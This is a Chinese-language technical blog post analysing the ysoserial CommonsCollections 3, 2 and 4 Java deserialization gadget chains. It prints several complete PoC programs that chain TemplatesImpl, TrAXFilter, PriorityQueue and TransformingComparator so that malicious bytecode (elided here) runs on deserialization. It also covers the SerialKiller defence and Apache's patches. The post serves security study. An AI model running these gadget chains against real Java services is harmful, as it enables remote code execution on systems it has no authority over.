ysoserial反序列化gadget原理-part3:CommonsCollections3/2/4

前言

上一篇文章笔者收集汇总了Java中动态加载字节码的方法,其中之一就是利用TemplatesImpl去加载类的字节码。而ysoserial中CommonsCollections 3/2/4这三条利用链就用到了TemplatesImpl

CommonsCollections3

InvokerTransformer版PoC

上一篇文章讲述了TemplatesImpl是通过调用其成员方法newTransformer()从而触发字节码的加载。

回顾CC-1,它是通过ConstantTransformerInvokerTransformer构造ChainedTransformer 执行链Runtime.getRuntime().exec() 来执行命令。

那现在我们不使用Runtime.getRuntime().exec(),而是通过TemplatesImpl#newTransformer() 来加载恶意类的字节码并初始化恶意类。

在CC-1的基础上,修改ChainedTransformer执行链如下:

byte[] codes = Base64.getDecoder().decode("yv66v...(恶意类的的字节码的base64编码)...");
byte[][] _bytecodes = new byte[][] {
    codes,
};

TemplatesImpl templatesObj = new TemplatesImpl();
setFiledValue(templatesObj, "_bytecodes", _bytecodes);
setFiledValue(templatesObj, "_name", "whatever");
setFiledValue(templatesObj, "_tfactory", new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(templatesObj),
    new InvokerTransformer("newTransformer", new Class[0], new Object[0]),
};

Transformer transformerChain = new ChainedTransformer(transformers);

反序列化便会弹出计算器。
在这里插入图片描述

InstantiateTransformer版PoC

起因猜想

但ysoserial的CC-3 并没有使用InvokerTransformer去构造ChainedTransformer执行链,而是使用了InstantiateTransformer。是什么原因呢?

2015年Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上提出了利⽤Apache Commons Collections来构造命令执⾏的利⽤链,并在年底因为对Weblogic、JBoss、Jenkins等著名应⽤的利⽤,⼀⽯激起千层浪,彻底打开了⼀⽚ Java安全的蓝海。开发者为了防御反序列化漏洞,便开发出了类似SerialKiller 这样的工具库。

SerialKiller采用了黑/白名单的方式,通过继承ObjectInputStream类并重写resolveClass() 方法,去匹配校验。

而最早版本的SerialKiller,其黑名单里就包括了InvokerTransformer
在这里插入图片描述
因此ysoserial的CC-3 估计就是当时用来绕过这个黑名单的一个gadget。


InstantiateTransformer,它的transform()方法通过反射获取任意Class对象的构造方法,并调用构造方法进行实例化。
在这里插入图片描述
所以,如果使用InstantiateTransformer替代InvokerTransformer构造执行链的话,就得找到一个类,这个类的构造方法会调用TemplatesImpl#newTransformer()方法。ysoserial的CC-3 使用的类为com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

来看一下TrAXFilter的构造方法。它接收Templates类型的对象,并且会执行Templates对象的newTransformer()方法。
在这里插入图片描述
因此,可在上面 InvokerTransformer 版的PoC基础上,修改ChainedTransformer的构造如下:

byte[] codes = Base64.getDecoder().decode("yv66v...(恶意类的的字节码的base64编码)...");
byte[][] _bytecodes = new byte[][] {
    codes,
};

TemplatesImpl templatesObj = new TemplatesImpl();
setFiledValue(templatesObj, "_bytecodes", _bytecodes);
setFiledValue(templatesObj, "_name", "whatever");
setFiledValue(templatesObj, "_tfactory", new TransformerFactoryImpl());

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(
        new Class[]{Templates.class},
        new Object[]{templatesObj}
    ),
};
Transformer transformerChain = new ChainedTransformer(transformers);

在这里插入图片描述

关于Javassist

javassist是一个开源的分析、编辑和创建Java字节码的类库。其主要的优点,在于简单,而且快速。直接使用 Java编码的形式,而不需要了解虚拟机指令,就能动态改变类的结构,或者动态生成类。

ysoserial 在创建TemplatesImpl对象的过程中(详见Gadgets.createTemplatesImpl()方法),使用Javassist在ysoserial.payloads.util.StubTransletPayload类字节码中插入恶意代码,StubTransletPayloadAbstractTranslet的子类。

关于javassist的使用,可参考[3]

条件限制

由于CC-3 也是使用sun.reflect.annotation.AnnotationInvocationHandler#readObject() -> ... -> LazyMap#get()作为反序列化利用链的,所以也跟CC-1 一样受到了JDK版本的限制(JDK 8u71以后)。

关于Java反序列化漏洞在代码层面的防御

Java反序列化漏洞在代码层面的防御,可使用或参考SerialKiller(参考[2],重写resolveClass()方法,使用黑白名单的方式去实现)。

关于commons-collections和commons-collections4

Apache Commons Collections是⼀个著名的辅助开发库,包含了⼀些Java中没有的数据结构和和辅助 ⽅法。

在2015年底commons-collections反序列化利⽤链被提出时,Apache Commons Collections有以下两 个分⽀版本:

  • commons-collections:commons-collections
  • org.apache.commons:commons-collections4

groupId和artifactId都不一样。前者是Commons Collections⽼的版本包,当时版本号是3.2.1;后 者是官⽅在2013年推出的4版本,当时版本号是4.0

官⽅认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产⽣⼤量不能 向前兼容的改动。所以,commons-collections4不再认为是⼀个⽤来替换commons-collections的新版 本,⽽是⼀个新的包,两者的命名空间不冲突,因此可以共存在同⼀个项⽬中。

问题1

CC-1/3/5/6/7 能否使用commons-collections4 去替换原来的commons-collections

答:
可以的。只是相应的函数要修改一下,比如:
原来的 TransformedMap.decorate() 要改为 TransformedMap.transformedMap()
LazyMap.decorate() 要改为 LazyMap.lazyMap().


除了前面的CC-1/3/5/6/7 可以使用 commons-collections4替换外,ysoserial 还开发了两个仅适用于commons-collections4 的gadget:

  • CommonsCollections2
  • CommonsCollections4

问题2

为什么这两个gadget仅适用于commons-collections4

答:
因为这两个gadget都使用到了TransformingComparator类,而这个类在commons-collections 中是没有实现序列化接口java.io.Serializable,所以这个类的对象在序列化数据的生成过程中就无法序列化,会抛异常java.io.NotSerializableException

CommonsCollections2

ysoserial的CC-2这条链用了两个关键的类:

  • java.util.PriorityQueue
  • org.apache.commons.collections4.comparators.TransformingComparator

PriorityQueue - 优先级队列

PriorityQueue 与普通Queue 不同的是,Queue是先进先出(FIFO)的。而PriorityQueue的出队顺序与元素的优先级有关,对PriorityQueue调用remove()poll()方法,返回的总是优先级最高的元素。

放入PriorityQueue的元素,必须实现Comparable接口,PriorityQueue会根据元素的排序顺序决定出队的优先级。比如String就是实现了Comparable接口。如果我们要放入的元素并没有实现Comparable接口怎么办?PriorityQueue允许我们提供一个Comparator对象来判断两个元素的顺序。

PriorityQueue通过Comparator对象的compare()方法来判断两个元素的顺序。

关于PriorityQueue的数据结构分析,可参考[5]

TransformingComparator

TransformingComparator是commons-collections4 里的一个比较器类,它实现了Comparator接口,可通过构造方法传入一个Transformer对象。

而且TransformingComparatorcompare()方法,会调用Transformer#transform() 方法。


PoC

我们可以自然地想到,PriorityQueue利用链其实就是找到PriorityQueue#readObject()Transformer#transform() 的一条通路。

那么这条通路是如何连在一起的呢?

由于PriorityQueue是优先级队列,所以它在反序列化的时候为了还原元素的顺序,肯定要进行比较并排序。所以在PriorityQueue#readObject()方法中,调用了PriorityQueue#heapify()方法来还原元素的顺序。整个调用链如下:

PriorityQueue#readObject()
  PriorityQueue#heapify()
    PriorityQueue#siftDown()
      PriorityQueue#siftDownUsingComparator()
        TransformingComparator#compare()
           Transformer#transform()

所以按照这个思路,我们便可以构造PoC:

public static void main(String[] args) {
    try {
        byte[] codes = Base64.getDecoder().decode("yv66vg...(恶意类字节码的base64编码)...");
        byte[][] _bytecodes = new byte[][] {
            codes,
        };
        TemplatesImpl templatesObj = new TemplatesImpl();
        setFiledValue(templatesObj, "_bytecodes", _bytecodes);
        setFiledValue(templatesObj, "_name", "whatever");
        setFiledValue(templatesObj, "_tfactory", new TransformerFactoryImpl());
        
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(templatesObj),
            new InvokerTransformer("newTransformer", new Class[0], new Object[0]),
        };
        Transformer tmpTransformer = new ConstantTransformer(1);
        /**
         * 因为PriorityQueue#add()操作也会触发比较器的比较操作:
         *   TransformingComparator#compare()
         *
         * 所以为了避免生成序列化数据的过程中触发命令执行,先构造一个无害的ChainedTransformer
         */
        Transformer transformerChain = new ChainedTransformer(tmpTransformer);
        TransformingComparator comparator = new TransformingComparator(transformerChain);
        
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(1);
        queue.add(2);
        
        setFiledValue(transformerChain, "iTransformers", transformers);
        
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(queue);
        System.out.println(baos.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        Object o = ois.readObject();
    } catch (Exception e) {
        e.printStackTrace();
    }
}

问题3

为什么要先add()两个整型数到PriorityQueue队列中?

答:
因为至少要两个元素才会进行比较操作。判断这个条件是否满足的代码见PriorityQueue#heapify()方法。(下面函数中的size表示PriorityQueue队列包含的元素个数)
在这里插入图片描述
只有满足条件,才会调用到siftDown()方法,从而触发后面的元素比较逻辑。

PoC - 不使用Transformer数组

上面的PoC 我们依旧像往常一样使用了ChainedTransformer构造执行链,即构造一个Transformer数组。

是否可以不用Transformer数组,而是使用一个Transformer对象就可以实现目的呢?

先来看一下TransformingComparator#compare()方法:
在这里插入图片描述
假设这里的this.transformer不是ChainedTransformer,而只是一个InvokerTransformer对象,而传入它的transform(obj)方法参数的是一个待比较的元素。因此如果传入InvokerTransformer#transform(obj) 参数的是一个TemplatesImpl对象,就能调用TemplatesImpl#newTransformer() 实现类加载和初始化。

按照这个思路,在上面的PoC的基础上进行修改,实现无需构造Transformer数组来实现 PriorityQueue 利用链,代码如下:

public static void main(String[] args) {
    try {
        byte[] codes = Base64.getDecoder().decode("yv66vg...(恶意类字节码的base64编码)...");
        byte[][] _bytecodes = new byte[][] {
            codes,
        };
        TemplatesImpl templatesObj = new TemplatesImpl();
        setFiledValue(templatesObj, "_bytecodes", _bytecodes);
        setFiledValue(templatesObj, "_name", "whatever");
        setFiledValue(templatesObj, "_tfactory", new TransformerFactoryImpl());
        
        InvokerTransformer evilTransformer = new InvokerTransformer(
            "newTransformer", new Class[0], new Object[0]);
        Transformer tmpTransformer = new InvokerTransformer(
            "toString", new Class[0], new Object[0]);
        /**
         * 因为PriorityQueue#add()操作也会触发比较器的比较操作:
         *   TransformingComparator#compare()
         *
         * 所以为了避免生成序列化数据的过程中触发命令执行,先构造一个无害的Transformer
         */
        TransformingComparator comparator = new TransformingComparator(tmpTransformer);
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(templatesObj);
        queue.add(templatesObj);
        
        setFiledValue(comparator, "transformer", evilTransformer);
        
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(queue);
        System.out.println(baos.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        Object o = ois.readObject();
    } catch (Exception e) {
        e.printStackTrace();
    }
}

CommonsCollections4

CC-4 其实是CC-2的变体,CC-4使用了InstantiateTransformer去替代CC-2中的InvokerTransformer

前面CC-3 已讲述使用InstantiateTransformer是如何构造ChainedTransformer 执行链的,要配合TrAXFilter类的构造方法进行串联,这里就不再重复。

PoC

public static void main(String[] args) {
    try {
        byte[] codes = Base64.getDecoder().decode("yv66v...(恶意类字节码的base64编码)...");
        byte[][] _bytecodes = new byte[][]{
            codes,
        };
        TemplatesImpl templatesObj = new TemplatesImpl();
        setFiledValue(templatesObj, "_bytecodes", _bytecodes);
        setFiledValue(templatesObj, "_name", "whatever");
        setFiledValue(templatesObj, "_tfactory", new TransformerFactoryImpl());
        
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{Templates.class}, new Object[]{templatesObj})
        };
        Transformer[] tmpTransformers = new Transformer[]{
            new ConstantTransformer(1)
        };
        
        /**
         * 因为PriorityQueue#add()操作也会触发比较器的比较操作:
         *   TransformingComparator#compare()
         *
         * 所以为了避免生成序列化数据的过程中触发命令执行,先构造一个无害的ChainedTransformer
         */
        Transformer transformerChain = new ChainedTransformer(tmpTransformers);
        TransformingComparator comparator = new TransformingComparator(transformerChain);
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(1);
        queue.add(2);
        
        setFiledValue(transformerChain, "iTransformers", transformers);
        
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(queue);
        System.out.println(baos.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        Object o = ois.readObject();
    } catch (Exception e) {
        e.printStackTrace();
    }
}

PoC - 不使用Transformer数组

public static void main(String[] args) {
    try {
        byte[] codes = Base64.getDecoder().decode("yv66vg...(恶意类字节码的base64编码)...");
        byte[][] _bytecodes = new byte[][]{
            codes,
        };
        TemplatesImpl templatesObj = new TemplatesImpl();
        setFiledValue(templatesObj, "_bytecodes", _bytecodes);
        setFiledValue(templatesObj, "_name", "whatever");
        setFiledValue(templatesObj, "_tfactory", new TransformerFactoryImpl());
        Transformer transformer = new InstantiateTransformer(
            new Class[]{Templates.class},
            new Object[]{templatesObj}
        );
        Transformer tmpTransformer = new ConstantTransformer(1);
        /**
         * 因为PriorityQueue#add()操作也会触发比较器的比较操作:
         *   TransformingComparator#compare()
         *
         * 所以为了避免生成序列化数据的过程中触发命令执行,先构造一个无害的Transformer
         */
        TransformingComparator comparator = new TransformingComparator(tmpTransformer);
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(TrAXFilter.class);
        queue.add(TrAXFilter.class);
        setFiledValue(comparator, "transformer", transformer);
        
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(queue);
        System.out.println(baos.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        Object o = ois.readObject();
    } catch (Exception e) {
        e.printStackTrace();
    }
}

关于Apache官方针对commons-collections反序列化gadget 的修复⽅法

Apache Commons Collections官⽅在2015年得知反序列化相关的问题后,就在两个分⽀上同时发布了新的版本,4.13.2.2

在commons-collections 3.2.2 版本,新增了一个FunctorUtils.checkUnsafeSerialization()方法:
在这里插入图片描述
这个方法在一些危险类的writeObject()方法和readObject()方法中被调用,比如InvokerTransformerInstantiateTransformer等。
如果用户未启用全局属性org.apache.commons.collections.enableUnsafeSerialization,则不允许这些类进行序列化和反序列化。
在这里插入图片描述
再看4.1版本,修复⽅式⼜不⼀样。在4.1版本⾥,这⼏个危险Transformer类不再实现 Serializable接⼝,换言之,它们再也不能序列化和反序列化了。
在这里插入图片描述

小结

commons-collections这个包之所以能搞出那么多利⽤链来,除了它使⽤量⼤,技术上的原因是它包含了⼀些可以执⾏任意⽅法的Transformer。所以,在commons-collections中找gadget的过程,实际上可以简化为,找⼀条从 <Serializable Object>#readObject() ⽅法到 Transformer#transform() ⽅法的调⽤链。

参考

[1] https://github.com/phith0n/JavaThings
[2] https://github.com/ikkisoft/SerialKiller/
[3] https://www.cnblogs.com/scy251147/p/11100961.html
[4] https://www.liaoxuefeng.com/wiki/1252599548343744/1265120632401152
[5] https://www.cnblogs.com/linghu-java/p/9467805.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值